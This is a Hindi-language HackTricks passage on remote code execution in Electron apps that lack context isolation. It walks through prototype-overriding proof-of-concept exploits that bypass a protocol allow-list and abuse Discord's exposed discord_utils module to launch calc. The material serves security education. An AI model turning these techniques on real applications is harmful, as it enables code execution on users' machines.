Electron contextIsolation RCE via preload code
Reading time: 3 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Example 1
Example from https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30
यह कोड http(s) लिंक को डिफ़ॉल्ट ब्राउज़र के साथ खोलता है:
कुछ ऐसा जैसे file:///C:/Windows/systemd32/calc.exe
का उपयोग करके एक कैलकुलेटर को निष्पादित किया जा सकता है, SAFE_PROTOCOLS.indexOf
इसे रोक रहा है।
इसलिए, एक हमलावर इस JS कोड को XSS या मनमाने पृष्ठ नेविगेशन के माध्यम से इंजेक्ट कर सकता है:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
चूंकि SAFE_PROTOCOLS.indexOf
का कॉल हमेशा 1337 लौटाएगा, हमलावर सुरक्षा को बायपास कर सकता है और calc को निष्पादित कर सकता है। अंतिम एक्सप्लॉइट:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
अधिकारों के लिए अनुमति मांगने वाले प्रॉम्प्ट के बिना प्रोग्राम चलाने के अन्य तरीकों के लिए मूल स्लाइड देखें।
स्पष्ट रूप से कोड लोड और निष्पादित करने का एक और तरीका कुछ इस तरह से एक्सेस करना है file://127.0.0.1/electron/rce.jar
उदाहरण 2: डिस्कॉर्ड ऐप RCE
https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1 से उदाहरण
जब मैंने प्रीलोड स्क्रिप्ट की जांच की, तो मैंने पाया कि डिस्कॉर्ड उस फ़ंक्शन को उजागर करता है, जो कुछ अनुमत मॉड्यूल को DiscordNative.nativeModules.requireModule('MODULE-NAME')
के माध्यम से वेब पृष्ठ में कॉल करने की अनुमति देता है।
यहां, मैं RCE के लिए सीधे उपयोग किए जा सकने वाले मॉड्यूल, जैसे child_process मॉड्यूल का उपयोग नहीं कर सका, लेकिन मैंने JavaScript अंतर्निहित विधियों को ओवरराइड करके RCE प्राप्त करने के लिए एक कोड पाया और उजागर किए गए मॉड्यूल के निष्पादन में हस्तक्षेप किया।
निम्नलिखित PoC है। मैंने पुष्टि की कि calc एप्लिकेशन पॉप होता है जब मैं getGPUDriverVersions
फ़ंक्शन को कॉल करता हूँ जो "discord_utils" नामक मॉड्यूल में devTools से परिभाषित है, जबकि RegExp.prototype.test
और Array.prototype.join
को ओवरराइड करते हुए।
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
getGPUDriverVersions
फ़ंक्शन "execa" लाइब्रेरी का उपयोग करके प्रोग्राम को निष्पादित करने की कोशिश करता है, जैसे कि निम्नलिखित:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
आमतौर पर execa "nvidia-smi.exe" को निष्पादित करने की कोशिश करता है, जो nvidiaSmiPath
वेरिएबल में निर्दिष्ट है, हालाँकि, ओवरराइड किए गए RegExp.prototype.test
और Array.prototype.join
के कारण, आर्गुमेंट को "calc" में _execa_** के आंतरिक प्रोसेसिंग में बदल दिया जाता है**।
विशेष रूप से, आर्गुमेंट को निम्नलिखित दो भागों को बदलकर प्रतिस्थापित किया जाता है।